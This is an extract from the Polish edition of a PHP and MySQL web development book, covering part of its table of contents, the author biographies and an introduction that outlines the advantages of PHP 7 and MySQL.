W następnym rozdziale .....................................................................................................398

Rozdział 18. Stosowanie funkcji sieci i protokołu .................................................. 399


Przegląd protokołów ..........................................................................................................399
Wysyłanie i odczytywanie poczty elektronicznej ..............................................................400
Korzystanie z danych z innych witryn WWW ...................................................................400
Stosowanie funkcji połączeń sieciowych ..........................................................................403
Tworzenie kopii bezpieczeństwa lub kopii lustrzanej pliku ..............................................407
Stosowanie FTP w celu utworzenia kopii bezpieczeństwa
lub kopii lustrzanej pliku ..........................................................................................407
Wysyłanie plików ........................................................................................................413
Unikanie przekroczenia dopuszczalnego czasu ...........................................................413
Stosowanie innych funkcji FTP ...................................................................................414
Propozycje dalszych lektur ................................................................................................414
W następnym rozdziale .....................................................................................................414

Rozdział 19. Zarządzanie datą i czasem ................................................................ 415


Uzyskiwanie informacji o dacie i czasie w PHP ................................................................415
Strefy czasowe ............................................................................................................415
Stosowanie funkcji date() ............................................................................................416
Obsługa znaczników czasu Uniksa .............................................................................417
Stosowanie funkcji getdate() .......................................................................................419
14 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty

Sprawdzanie poprawności dat przy użyciu funkcji checkdate() ..................................420


Formatowanie znaczników czasu ................................................................................420
Konwersja pomiędzy formatami daty PHP i MySQL ........................................................422
Obliczanie dat w PHP ........................................................................................................424
Obliczanie dat w MySQL ..................................................................................................425
Stosowanie mikrosekund ...................................................................................................426
Stosowanie funkcji kalendarzowych .................................................................................426
Propozycje dalszych lektur ................................................................................................427
W następnym rozdziale .....................................................................................................427

Rozdział 20. Umiędzynarodawianie i lokalizowanie ............................................. 429


Lokalizacja to nie tylko tłumaczenie .................................................................................429
Zbiory znaków ...................................................................................................................430
Zbiory znaków i ich związki z bezpieczeństwem ........................................................431
Stosowanie wielobajtowych funkcji łańcuchowych w PHP ........................................432
Tworzenie struktury strony przystosowanej do lokalizacji ................................................432
Zastosowanie funkcji gettext() w umiędzynarodowionej aplikacji ....................................435
Konfiguracja systemu w celu wykorzystania funkcji gettext() ....................................436
Tworzenie plików z tłumaczeniami .............................................................................437
Implementacja zlokalizowanych treści w PHP z użyciem funkcji gettext() ................438
Propozycje dalszej lektury .................................................................................................439
W następnym rozdziale .....................................................................................................440

Rozdział 21. Generowanie obrazków .................................................................... 441


Konfigurowanie obsługi obrazków w PHP ........................................................................441
Formaty obrazków .............................................................................................................442
JPEG ...........................................................................................................................442
PNG .............................................................................................................................442
GIF ..............................................................................................................................443
Tworzenie obrazków .........................................................................................................443
Tworzenie kadru obrazka ............................................................................................444
Rysowanie lub umieszczanie tekstu w obrazku ...........................................................444
Wyświetlanie ostatecznej grafiki .................................................................................446
Końcowe czynności porządkujące ..............................................................................447
Stosowanie automatycznie generowanych obrazków na innych stronach .........................447
Stosowanie tekstu i czcionek do tworzenia obrazków .......................................................448
Konfiguracja podstawowego kadru .............................................................................451
Dopasowanie tekstu do przycisku ...............................................................................452
Nadawanie tekstowi odpowiedniej pozycji .................................................................454
Wpisywanie tekstu do przycisku .................................................................................455
Etap końcowy ..............................................................................................................455
Rysowanie figur i wykresów danych .................................................................................455
Inne funkcje obrazków ......................................................................................................462
W następnym rozdziale .....................................................................................................462

Rozdział 22. Stosowanie kontroli sesji w PHP ......................................................... 463


Czym jest kontrola sesji? ...................................................................................................463
Podstawowa zasada działania sesji ....................................................................................463
Czym jest cookie? .......................................................................................................464
Konfiguracja cookies w PHP ......................................................................................464
Stosowanie cookies w sesji .........................................................................................465
Przechowywanie identyfikatora sesji ..........................................................................465
Implementacja prostych sesji .............................................................................................466
Rozpoczynanie sesji ....................................................................................................466
Zgłaszanie zmiennych sesyjnych ................................................................................466
Spis treści 15

Stosowanie zmiennych sesyjnych ...............................................................................467


Usuwanie zmiennych i niszczenie sesji .......................................................................467
Przykład prostej sesji .........................................................................................................467
Konfiguracja kontroli sesji ................................................................................................469
Implementacja uwierzytelniania w kontroli sesji ...............................................................470
W następnym rozdziale .....................................................................................................476

Rozdział 23. Integracja JavaScriptu i PHP .............................................................. 477


Przedstawienie technologii AJAX .....................................................................................477
Krótka prezentacja jQuery .................................................................................................478
Stosowanie jQuery w aplikacjach internetowych ..............................................................478
Podstawowe pojęcia i techniki związane ze stosowaniem jQuery ...............................479
Stosowanie selektorów jQuery ....................................................................................479
Stosowanie jQuery, technologii AJAX i skryptów PHP ....................................................487
Ajaksowe pogawędki — skrypt serwera .....................................................................487
Metody jQuery służące do korzystania z technologii AJAX .......................................490
Kliencka część aplikacji do prowadzenia pogawędek .................................................493
Propozycje dalszej lektury .................................................................................................498
W następnym rozdziale .....................................................................................................498

Rozdział 24. Inne przydatne własności .................................................................. 499


Przetwarzanie łańcuchów znaków — funkcja eval() .........................................................499
Zakończenie wykonania — die i exit ................................................................................500
Serializacja zmiennych i obiektów ....................................................................................500
Pobieranie informacji na temat środowiska PHP ...............................................................501
Uzyskiwanie informacji na temat załadowanych rozszerzeń ......................................502
Identyfikacja właściciela skryptu ................................................................................502
Uzyskiwanie informacji na temat daty modyfikacji skryptu .......................................502
Czasowa zmiana środowiska wykonawczego ...................................................................503
Podświetlanie źródeł ..........................................................................................................504
Używanie PHP w wierszu poleceń ....................................................................................505
W następnej części ............................................................................................................506

Część V Tworzenie praktycznych projektów PHP i MySQL .........507


Rozdział 25. Stosowanie PHP i MySQL w dużych projektach ............................... 509
Zastosowanie inżynierii oprogramowania w tworzeniu aplikacji WWW ..........................510
Planowanie i prowadzenie projektu aplikacji WWW ........................................................510
Ponowne stosowanie kodu .................................................................................................511
Tworzenie kodu łatwego w utrzymaniu .............................................................................512
Standardy kodowania ..................................................................................................512
Dzielenie kodu ............................................................................................................515
Stosowanie standardowej struktury katalogów ...........................................................516
Dokumentacja i dzielenie wewnętrznych funkcji ........................................................516
Implementacja kontroli wersji ...........................................................................................516
Wybór środowiska programistycznego .............................................................................517
Dokumentacja projektów ...................................................................................................517
Prototypowanie ..................................................................................................................518
Oddzielanie logiki i zawartości .........................................................................................519
Optymalizacja kodu ...........................................................................................................519
Stosowanie prostych optymalizacji .............................................................................520
Testowanie ........................................................................................................................520
Propozycje dalszych lektur ................................................................................................521
W następnym rozdziale .....................................................................................................521
16 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty

Rozdział 26. Usuwanie i rejestracja błędów .......................................................... 523


Błędy programistyczne ......................................................................................................523
Błędy składni ...............................................................................................................523
Błędy wykonania .........................................................................................................524
Błędy logiczne .............................................................................................................529
Pomoc w usuwaniu błędów w zmiennych .........................................................................530
Poziomy zgłaszania błędów ...............................................................................................532
Zmiana ustawień zgłaszania błędów ..................................................................................534
Wyzwalanie własnych błędów ..........................................................................................535
Eleganckie rejestrowanie błędów ......................................................................................536
Rejestrowanie błędów w pliku dziennika ..........................................................................538
W następnym rozdziale .....................................................................................................538

Rozdział 27. Tworzenie uwierzytelniania użytkowników i personalizacji ............ 539


Składniki rozwiązania .......................................................................................................539
Identyfikacja użytkownika i personalizacja .................................................................540
Przechowywanie zakładek ..........................................................................................540
Rekomendowanie zakładek .........................................................................................541
Przegląd rozwiązania .........................................................................................................541
Implementacja bazy danych ..............................................................................................543
Implementacja podstawowej witryny ................................................................................544
Implementacja uwierzytelniania użytkowników ...............................................................546
Rejestracja użytkowników ..........................................................................................546
Logowanie ...................................................................................................................551
Wylogowanie ..............................................................................................................554
Zmiana hasła ...............................................................................................................555
Ustawianie zapomnianych haseł ..................................................................................557
Implementacja przechowywania i odczytywania zakładek ...............................................561
Dodawanie zakładek ...................................................................................................561
Wyświetlanie zakładek ................................................................................................563
Usuwanie zakładek ......................................................................................................564
Implementacja rekomendacji .............................................................................................566
Rozwijanie projektu i możliwe rozszerzenia .....................................................................568

Rozdział 28. Tworzenie internetowego klienta poczty elektronicznej


z użyciem Laravela ............................................................................. 571
Prezentacja frameworka Laravel 5 ....................................................................................571
Tworzenie nowego projektu Laravel ...........................................................................571
Struktura aplikacji Laravel ..........................................................................................572
Cykl obsługi żądań i wzorzec MVC Laravela .............................................................574
Klasy modelu, widok i kontroler frameworka Laravel ................................................575

Rozdział 29. Tworzenie internetowego klienta poczty elektronicznej


z użyciem Laravela — część 2. ......................................................... 591
Tworzenie prostego klienta IMAP przy użyciu Laravela ..................................................591
Funkcje IMAP udostępniane przez PHP .....................................................................591
Opakowywanie funkcji IMAP na potrzeby aplikacji Laravel .....................................599
Łączenie wszystkich elementów
w celu implementacji internetowego klienta poczty elektronicznej ...............................615
Implementacja klasy ImapServiceProvider .................................................................616
Strona uwierzytelniania aplikacji klienckiej ................................................................617
Implementacja głównego widoku aplikacji .................................................................621
Implementacja usuwania i wysyłania wiadomości ......................................................629
Wnioski .............................................................................................................................634
Spis treści 17

Rozdział 30. Integracja z mediami społecznościowymi


— udostępnianie i uwierzytelnianie .................................................. 635
OAuth — internetowa usługa uwierzytelniająca ...............................................................635
Przydziały typu kod autoryzacji ..................................................................................637
Przydziały niejawne ....................................................................................................638
Implementacja internetowego klienta Instagrama .......................................................639
Oznaczanie zdjęć jako lubianych ................................................................................646
Wniosek .............................................................................................................................647

Rozdział 31. Tworzenie koszyka na zakupy ........................................................... 649


Składniki rozwiązania .......................................................................................................649
Tworzenie katalogu online ..........................................................................................650
Śledzenie zakupów użytkownika podczas przeglądania ..............................................650
Implementacja systemu płatności ................................................................................650
Interfejs administratora ...............................................................................................651
Przegląd rozwiązania .........................................................................................................651
Implementacja bazy danych ..............................................................................................654
Implementacja katalogu online ..........................................................................................656
Przedstawianie kategorii .............................................................................................658
Wyświetlanie książek danej kategorii .........................................................................660
Przedstawianie szczegółowych danych książki ...........................................................661
Implementacja koszyka na zakupy ....................................................................................662
Stosowanie skryptu pokaz_kosz.php ...........................................................................663
Podgląd koszyka ..........................................................................................................665
Dodawanie produktów do koszyka .............................................................................667
Zapisywanie uaktualnionego koszyka .........................................................................669
Wyświetlanie podsumowania w pasku nagłówka .......................................................669
Pobyt w kasie ..............................................................................................................670
Implementacja płatności ....................................................................................................675
Implementacja interfejsu administratora ...........................................................................676
Rozwijanie projektu ..........................................................................................................682

Dodatki ................................................................................................ 685


Dodatek A Instalacja Apache, PHP i MySQL ....................................................... 687
Instalacja Apache, PHP i MySQL w systemie UNIX ........................................................688
Instalacja przy użyciu binariów ...................................................................................688
Instalacja przy użyciu kodów źródłowych ..................................................................689
Podstawowe zmiany w konfiguracji serwera Apache .................................................695
Czy obsługa PHP działa poprawnie? ...........................................................................696
Czy SSL działa poprawnie? ........................................................................................697
Instalacja Apache, PHP i MySQL w systemie Windows ..................................................698
Instalowanie PEAR ...........................................................................................................700
Instalowanie PHP z innymi serwerami ..............................................................................700

Skorowidz ............................................................................................. 701


18 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty
O autorach
Laura Thomson jest dyrektorem do spraw technicznych w Mozilla Corporation. Wcześniej była
prezesem firm OmniTI i Tangled Web Design, a także pracowała na Wydziale Nauk Kompute-
rowych Uniwersytetu RMIT w Melbourne w Australii oraz w Boston Consulting Group. Uzyskała
stopień magistra stosowanych nauk komputerowych, a także ukończyła z wyróżnieniem studia
inżynierskie w dziedzinie systemów komputerowych. Wolny czas przeznacza na jazdę konną,
dyskusje na temat oprogramowania darmowego i z darmowym dostępem do kodu źródłowego
oraz na sen.

Luke Welling jest architektem oprogramowania i regularnie bierze udział w konferencjach po-
święconych programowaniu aplikacji internetowych oraz oprogramowaniu z darmowym dostę-
pem do kodu źródłowego, takich jak OSCON, ZendCon, MySQLUC, PHPCon, OSDC i LinuxTag.
Wcześniej pracował w OmniTI, w firmie analiz internetowych Hitwise.com, w MySQL AB —
producencie serwerów bazodanowych, był też niezależnym konsultantem w firmie Tangled Web
Design. Luke był również wykładowcą inżynierii oprogramowania oraz e-commerce na Wydziale
Inżynierii Systemów Elektrycznych i Komputerowych Uniwersytetu Melbourne w Australii. Uzy-
skał stopień magistra w dziedzinie stosowanych nauk komputerowych. W wolnym czasie stara się
doprowadzić do perfekcji swoją bezsenność.

O współautorach
Julie C. Meloni jest dyrektorem technicznym i konsultantką techniczną, mieszkającą w Waszyng-
tonie, D.C. Jest autorką wielu książek i artykułów na temat języków programowania dla sieci
WWW oraz baz danych, w tym popularnej książki Sams Teach Yourself PHP, MySQL and Apache
All in One.

John Coggeshall jest właścicielem firmy Internet Technology Solutions, LLC, zajmującej się kon-
sultowaniem rozwiązań internetowych opartych na PHP i mającej klientów na całym świecie, jak
również właścicielem CoogleNet — sieci Wi-Fi działającej na zasadzie subskrypcji. Wcześniej był
starszym członkiem zespołu Global Services w firmie Zend Technologies. Pracę z PHP rozpoczął
w 1997 roku; jest autorem czterech książek i ponad 100 artykułów poświęconych tej technologii.

Jennifer Kyrnin jest autorką książek i projektantką, działająca w branży internetowej od roku 1995.
Napisała między innymi następujące książki: Sams Teach Yourself Bootstrap in 24 Hours, Sams
Teach Yourself Responsive Web Design in 24 Hours oraz Sams Teach Yourself HTML5 Mobile
Application Development in 24 Hours.
20 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty
Wprowadzenie
PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty przedstawia szczegółowo wiedzę
nabytą dzięki doświadczeniu autorów w wykorzystywaniu PHP i MySQL, dwóch najważniej-
szych i najczęściej stosowanych narzędzi służących do tworzenia aplikacji internetowych.

We wprowadzeniu tym poruszymy następujące tematy:


 Dlaczego warto przeczytać tę książkę?
 Korzyści wynikające z lektury tej książki.
 Czym są PHP i MySQL oraz jakie są ich zalety?
 Zmiany w najnowszych wersjach PHP i MySQL
 Układ książki.

A zatem zaczynajmy!

Dlaczego warto przeczytać tę książkę?


W PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty prezentujemy metody two-
rzenia interaktywnych aplikacji internetowych, począwszy od najprostszego formularza zamówie-
nia, a skończywszy na złożonych bezpiecznych aplikacjach. Co więcej, książka uczy tych umiejęt-
ności, odwołując się do technologii Open Source.

Odbiorcami PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty są czytelnicy znają-
cy przynajmniej podstawy HTML-a i posiadający pewne doświadczenie w dziedzinie nowocze-
snych języków programowania, choć niekonieczne piszący programy dla internetu lub wykorzy-
stujący relacyjne bazy danych. Początkujący programiści również mogą skorzystać z tej książki,
ale wówczas zrozumienie jej treści może im zająć nieco więcej czasu. Autorzy starali się nie
opuszczać żadnych podstawowych pojęć, zostały one jednak przedstawione w znacznym skrócie.
Typowym adresatem książki jest osoba pragnąca opanować PHP i MySQL w celu tworzenia du-
żej lub komercyjnej witryny WWW. Jeżeli Czytelnik zna już inny język programowania WWW,
publikacja powinna być znacznie łatwiejsza w odbiorze.

Autorzy postawili sobie za cel napisanie książki o PHP, która nie byłaby jedynie przeglądem
funkcji. Na rynku są wprawdzie dostępne inne pożyteczne publikacje na ten temat, lecz okazują się
one nieprzydatne w dziedzinie praktycznych zastosowań (np. utworzenie koszyka na zakupy).
Dołożono wszelkich starań, aby każdy przedstawiony przykład był instruktywny. Wiele przy-
kładów kodu może zostać bezpośrednio zastosowanych w witrynie WWW, inne zaś wymagają
jedynie nieznacznych modyfikacji.
22 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty

Korzyści wynikające z lektury tej książki


Zapoznanie się z treścią książki umożliwi tworzenie rzeczywistych dynamicznych aplikacji inter-
netowych. Osoby tworzące witryny WWW za pomocą czystego kodu HTML na pewno zdają
sobie sprawę z ograniczeń tego ujęcia. Statyczna zawartość witryny WWW utworzonej w czy-
stym HTML-u jest właśnie… statyczna — pozostaje niezmieniona, dopóki nie nastąpi jej fizyczna
aktualizacja. Użytkownicy nie mogą wykonywać interakcji z nią w żaden sensowny sposób.

Wykorzystanie języka (takiego jak PHP) i bazy danych (takiej jak MySQL) pozwala na two-
rzenie witryn dynamicznych — mogą one być dostosowywane i zawierać aktualne informacje.

Autorzy książki celowo skupiają się na rzeczywistych aplikacjach, nawet w rozdziałach wprowa-
dzających. Na początku opisują proste systemy, po czym omawiają różne elementy PHP i MySQL.

W dalszej kolejności autorzy prezentują aspekty bezpieczeństwa i uwierzytelniania odnoszące się


do tworzenia prawdziwej witryny WWW, a także przedstawiają implementację tych aspektów za
pomocą PHP i MySQL. Poza tym w ramach prezentacji zagadnień związanych z łączeniem
części klienckich oraz serwerowych aplikacji internetowych autorzy opisują język JavaScript
z uwzględnieniem jego znaczenia w tworzeniu aplikacji.

Ostatnia część książki opisuje fazy planowania, projektowania i implementowania następujących


projektów:
 Uwierzytelnianie użytkowników i personalizacja.
 Poczta elektroniczna oparta na WWW.
 Integracji z mediami społecznościowymi.

Każdy z nich powinien być użyteczny w formie, w jakiej zostanie opisany, lub może ulec modyfi-
kacji w celu dostosowania do konkretnych potrzeb. Zostały one wybrane, ponieważ zdaniem auto-
rów przedstawiają osiem najczęściej tworzonych przez programistów aplikacji WWW. Nawet jeżeli
potrzeby odbiorców są inne, książka powinna pomóc w osiągnięciu tych celów.

Czym jest PHP?


PHP jest językiem skryptowym działającym po stronie serwera. Na stronie HTML-a można osa-
dzić kod PHP, który zostanie wykonany, ilekroć strona będzie odwiedzana. Kod PHP jest inter-
pretowany przez serwer WWW i tworzy on HTML lub inne wyniki, które zobaczy odwiedzający.

PHP, utworzony w 1994 roku, jest dziełem jednego człowieka, Rasmusa Lerdorfa. Język ten uległ
w późniejszym czasie trzem poważnym modyfikacjom, których wynikiem jest obecny dojrzały
produkt o szerokich zastosowaniach. Zgodnie z informacjami, które podał Greg Michillie, pra-
cownik firmy Google, w maju 2013 roku język PHP wykorzystywało ponad 75% wszystkich istnie-
jących witryn WWW, a w czerwcu 2016 roku liczba ta wzrosła do 82%.

PHP jest produktem Open Source. Oznacza to dostęp do jego kodu źródłowego, który można bez-
płatnie wykorzystywać, zmieniać i redystrybuować.

Skrót PHP początkowo oznaczał Personal Home Page (Osobista Strona Domowa), został jednak
zmieniony zgodnie z rekursywną konwencją nadawania nazw GNU (GNU = Gnu's Not Unix — Gnu
Nie Unix) i oznacza obecnie PHP Hypertext Preprocessor (PHP Preprocesor Hipertekstu).
Wprowadzenie 23

Obecnie główną wersją PHP jest wersja 7. W wersji tej od nowa napisano moduł Zend, a także
dokonano istotnych ulepszeń w samym języku. Wszystkie kody prezentowane w tej książce zostały
przetestowane w najnowszej wersji języka PHP 7 dostępnej w trakcie przygotowywania książ-
ki, jak również w najnowszej wersji linii PHP 5.6, która wciąż jest oficjalnie obsługiwana.

Główna strona PHP jest dostępna pod adresem http://www.php.net (strona w Polsce: http://pl.php.net).

Główna strona Zend to http://www.zend.com.

Czym jest MySQL?


MySQL (wym. Maj-Es-Kiu-El) jest bardzo szybkim, solidnym systemem zarządzania relacyjnymi
bazami danych (relational database management system — RDBMS). Baza danych umożliwia
wydajne przechowywanie, przeszukiwanie, sortowanie i odczytywanie danych. Serwer MySQL
kontroluje dostęp do nich w celu zapewnienia równoczesnego dostępu wielu użytkownikom,
zagwarantowania szybkiego dostępu oraz dostępu jedynie dla uwierzytelnionych użytkowników.
Oznacza to, że MySQL jest serwerem wielodostępnym i wielowątkowym. Wykorzystuje SQL
(Structured Query Language — Strukturalny Język Zapytań), standardowy dla całego świata język
zapytań bazy danych. MySQL jest dostępny publicznie od 1996 roku, ale historia jego tworzenia
sięga roku 1979. Jest to najpopularniejsza obecnie baza danych o otwartym dostępie do kodu źró-
dłowego, która wielokrotnie zdobywała nagrodę Reader's Choice Award, przyznawaną przez
czasopismo „Linux Journal”.

MySQL jest dostępny w dwóch licencjach. Można go używać na podstawie licencji Open Source
(GPL), czyli za darmo, jeśli tylko spełnione zostaną wszystkie warunki zawarte w licencji tego typu.
Jeżeli natomiast MySQL ma być dystrybuowany wraz z aplikacją, która nie podlega warunkom
licencji GPL, można uzyskać jego licencje komercyjne.

Dlaczego warto wykorzystywać PHP i MySQL?


Przystępując do tworzenia witryny internetowej, należy zastanowić się nad wyborem różnych pro-
duktów. Trzeba wybrać następujące elementy:
 miejsce uruchamiania serwerów: w chmurze, jako prywatny serwer wirtualny
lub na rzeczywistym, fizycznym serwerze,
 system operacyjny,
 oprogramowanie serwera WWW,
 system zarządzania bazami danych lub inny magazyn danych,
 język programowania lub skryptowy.

W efekcie może powstać architektura hybrydowa zawierająca wiele magazynów danych. Niektóre
z powyższych wyborów są zależne od innych. Na przykład nie wszystkie systemy operacyjne pra-
cują na dowolnym sprzęcie, nie wszystkie serwery internetowe potrafią obsługiwać wszystkie języki
programowania itd.

Autorzy książki poświęcili niewiele uwagi sprzętowi, systemowi operacyjnemu i oprogramowa-


niu serwera WWW, gdyż nie było to konieczne. Jedną z najbardziej przydatnych własności
PHP i MySQL jest ich dostępność w wersjach dla wszystkich najważniejszych systemów opera-
cyjnych oraz wielu rzadziej używanych systemów.
24 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty

Większość kodu PHP można napisać w taki sposób, by był on przenośny między różnymi syste-
mami operacyjnymi i serwerami internetowymi. Niektóre funkcje PHP odnoszą się do konkretnych
systemów plików i systemów operacyjnych, jednak odpowiednia informacja na ten temat zawsze
jest podawana w podręcznikach, a także w tej książce.

Niezależnie od użytkowanego sprzętu, systemu operacyjnego i serwera WWW należy — zdaniem


autorów — poważnie rozważyć wykorzystanie PHP i MySQL.

Niektóre zalety PHP


Do głównych konkurentów PHP należą: Python, Ruby (on Rails lub w innej postaci), Node.js,
Perl, Microsoft.NET oraz Java.

W porównaniu z tymi produktami PHP posiada wiele zalet. Są to między innymi:


 wydajność,
 skalowalność,
 interfejsy do wielu różnych systemów baz danych,
 wbudowane biblioteki służące do rozwiązywania różnych popularnych zadań WWW,
 niski koszt,
 łatwość nauki i wykorzystania,
 szeroka obsługa mechanizmów zorientowanych obiektowo,
 przenośność,
 możliwość zastosowania różnych metodyk programowania,
 dostępność kodu źródłowego,
 dostępność wsparcia i dokumentacji.

Poniżej przedstawiamy szczegółowy opis tych zalet.

Wydajność
PHP jest bardzo wydajny. Za pomocą pojedynczego niedrogiego serwera można obsłużyć miliony
odwiedzin dziennie. Bez problemu można go używać do obsługi zarówno jednego prostego for-
mularza wysyłającego wiadomości poczty elektronicznej, jak i ogromnych witryn, takich jak
Facebook czy Etsy.

Skalowalność
Jak zwykł powtarzać Rasmus Lerdorf, PHP charakteryzuje się architekturą „współużytkowania
niczego”. Inaczej mówiąc, tanim kosztem można efektywnie wdrożyć skalowanie poziome z wyko-
rzystaniem większej liczby serwerów.
Wprowadzenie 25

Integracja z bazami danych


PHP umożliwia bezpośrednią obsługę połączeń z wieloma systemami baz danych. Oprócz MySQL
należą do nich PostgreSQL, Oracle, MongoDB, MSSQL i wiele innych. PHP 5 i PHP 7 zawiera
dodatkowo wbudowany interfejs do plików płaskich, noszący nazwę SQLite.

Za pomocą Open Database Connectivity Standard (Otwarty Standard Łączności z Bazami


Danych — ODBC) można łączyć się dowolną bazą danych posiadającą sterownik ODBC. Zalicza
się do nich m.in. produkty Microsoftu, a także wiele innych.

Oprócz bibliotek natywnych PHP zawiera abstrakcyjną warstwę dostępu do baz danych o nazwie
PHP Database Objects (PDO), która zapewnia spójny mechanizm dostępu do baz danych i ułatwia
stosowanie bezpiecznych praktyk programistycznych.

Wbudowane biblioteki
Ponieważ PHP został zaprojektowany do stosowania w sieci WWW, posiada wiele wbudowanych
funkcji służących do wykonywania zadań z nią związanych. Za pomocą zaledwie kilku wierszy
kodu możliwe jest tworzenie „w locie” obrazków GIF, łączenie z innymi usługami sieciowymi,
parsowanie języka XML, wysyłanie poczty elektronicznej, praca z cookies oraz generowanie
dokumentów PDF.

Koszt
PHP jest bezpłatne. Można w dowolnym momencie pobrać najnowszą wersję ze strony http://www.
php.net bez żadnych opłat.

Łatwość nauki PHP


Składnia PHP jest oparta na innych językach programowania, zwłaszcza na C i Perlu. Osoby zna-
jące wcześniej C lub Perla (lub inny, podobny do C język, taki jak C++ lub Java) mogą posługiwać
się PHP niemal od zaraz.

Obsługa mechanizmów obiektowych


PHP w wersji 5. posiada świetnie zaprojektowane mechanizmy zorientowane obiektowo, które
w wersji PHP 7 zostały jeszcze bardziej dopracowane i usprawnione. Czytelnicy, którzy już
wcześniej uczyli się programować w językach Java lub C++, znajdą w PHP znane już sobie me-
chanizmy, takie jak dziedziczenie, atrybuty i metody prywatne oraz chronione, klasy i metody
abstrakcyjne, interfejsy, konstruktory i destruktory. Oprócz nich istnieją również mechanizmy mniej
powszechne, na przykład iteratory oraz cechy (ang. traits).

Przenośność
PHP jest dostępne dla wielu systemów operacyjnych. Kod PHP może być tworzony na darmowym,
podobnym do Uniksa systemie operacyjnym, takim jak Linux i FreeBSD, na komercyjnych wer-
sjach Uniksa, Mac OS X oraz na różnych wersjach Microsoft Windows.
26 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty

Kod zazwyczaj będzie działał, bez konieczności dokonywania zmian, w różnych systemach obsłu-
gujących PHP.

Możliwość zastosowania różnych metodyk programowania


PHP pozwala na zaimplementowanie prostych czynności w prosty sposób oraz na równie łatwe
tworzenie złożonych aplikacji na bazie platform opartych na wzorcach projektowych, takich jak
Model-View-Controller (MVC).

Kod źródłowy
Użytkownik posiada dostęp do kodu źródłowego PHP. Inaczej niż w przypadku programów
komercyjnych, nie ma przeciwwskazań, jeżeli zachodzi konieczność modyfikacji lub dodania wła-
sności do języka.

Nie trzeba czekać, aż producent udostępni programy korygujące. Nie ma również znaczenia, że
zaprzestanie działalności lub zdecyduje się na zakończenie obsługi produktu.

Dostępność wsparcia i dokumentacji


Zend Technologies (http://www.zend.com/), firma, która stworzyła moduł stanowiący serce PHP,
finansuje dalszy rozwój tego języka, oferując wsparcie techniczne i dodatkowe oprogramowa-
nie na zasadach komercyjnych.

Dokumentacja i społeczność PHP osiągnęły już pełną dojrzałość, co skutkuje bogactwem dostęp-
nych zasobów i informacji.

Kluczowe cechy i możliwości PHP 7


W grudniu 2015 roku została publicznie udostępniona długo oczekiwana wersja PHP 7. Zgodnie
z wcześniejszymi informacjami w tej książce opisywana jest zarówno wersja PHP 5.6, jak i PHP 7,
co może skłonić do rozważań na temat tego, co się stało z wersją PHP 6. Najkrócej mówiąc, nie
ma czegoś takiego jak PHP 6 — taka wersja języka nigdy nie została udostępniona. Owszem,
trwały prace nad kodem PHP określanym jako PHP 6, ale nigdy nie zostały one doprowadzone
do pomyślnego końca; snuto wiele ambitnych planów, jednak późniejsze kompilacje wykazały,
że dążenie do ich spełnienia będzie bardzo trudne. PHP 7 nie jest PHP 6 i nie zawiera ani moż-
liwości, ani bazy kodu, które miały tworzyć tę wersję języka. PHP 7 jest zupełnie odrębną wersją,
która ma służyć do zupełnie innych celów — głównie do zapewnienia bardzo wysokiej wydajno-
ści działania.

W ramach prac nad PHP 7 za kulisami przeprowadzona została modernizacja Zend Engine, której
efektem jest znaczący wzrost wydajności działania wielu aplikacji internetowych — czasami wyno-
szący nawet 100%! Choć zwiększenie wydajności oraz zmniejszenie zużycia pamięci były klu-
czowymi wymaganiami stawianymi PHP 7, to nie można zapomnieć o innym ważnym wymogu
— zachowaniu pełnej zgodności wstecz. Okazuje się, że w tej najnowszej wersji języka wprowa-
dzono stosunkowo mało zmian, które powodują niezgodność z wcześniejszymi wersjami. Zmiany
te zostały przedstawione w odpowiednich miejscach książki i w odpowiednich kontekstach, dzięki
czemu informacje zamieszczone w książce są przydatne zarówno dla osób używających PHP 5.6,
Wprowadzenie 27

jak i dla osób korzystających z PHP 7, gdyż całkiem sporo komercyjnych serwisów hostingowych
nie zdecydowało się jeszcze na włączenie do swojej oferty obsługi najnowszej wersji języka PHP.

Niektóre zalety MySQL


Do głównych konkurentów MySQL należą: PostgreSQL, Microsoft SQL Server i Oracle. Co więcej,
w branży twórców aplikacji internetowych pojawił się trend polegający na stosowaniu baz niere-
lacyjnych (NoSQL), takich jak MongoDB. Warto się zatem zastanowić, dlaczego w bardzo
wielu przypadkach użycie MySQL wciąż jest świetnym rozwiązaniem.

MySQL posiada wiele zalet, do których należą między innymi:


 wysoka wydajność,
 niski koszt,
 łatwość konfiguracji i nauki,
 przenośność,
 dostępność kodu źródłowego,
 dostępność wsparcia.

Poniżej znajduje się ich szczegółowy opis.

Wydajność
MySQL jest niewątpliwie szybki. Strona testów programistycznych jest dostępna pod adresem
http://www.mysql.com/why-mysql/benchmarks/.

Niski koszt
MySQL jest dostępny bezpłatnie, na licencji Open Source, lub za niską cenę w ramach licencji
komercyjnej. Jeżeli MySQL ma być rozprowadzany wraz z aplikacją, która nie będzie podlegać
licencji Open Source, trzeba zakupić licencję na serwer. Jeśli jednak tworzona aplikacja nie będzie
dystrybuowana — co dotyczy większości aplikacji internetowych — lub oprogramowanie będzie
miało charakter darmowy, kupno takiej licencji nie będzie konieczne.

Łatwość wykorzystania
Większość nowoczesnych baz danych wykorzystuje SQL. Osoby, które stosowały wcześniej inne
RDBMS, nie powinny mieć żadnych problemów z jego przyswojeniem. MySQL jest również
łatwiejszy w konfiguracji niż wiele podobnych produktów.

Przenośność
MySQL może być wykorzystywany w różnych systemach uniksowych, a także w Microsoft
Windows.
28 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty

Kod źródłowy
Podobnie jak w przypadku PHP, można pobrać i modyfikować kod źródłowy MySQL. Zwykle nie
ma to specjalnego znaczenia dla większości użytkowników, lecz sam fakt posiadania dostępu do
kodu źródłowego pozwala ze spokojem patrzeć w przyszłość, ponieważ stanowi gwarancję, że
serwer będzie nadal rozwijany, a w nagłych przypadkach znacznie łatwiej przyjdzie rozwiązywać
ewentualne problemy.

Obecnie dostępnych jest kilka różnych kopii i zamienników MySQL, których wykorzystanie
można rozważyć; wśród nich jest także MariaDB, napisana przez twórców MySQL, w tym Michaela
„Montyʼego” Wideniusa (https://mariadb.org/).

Dostępność wsparcia
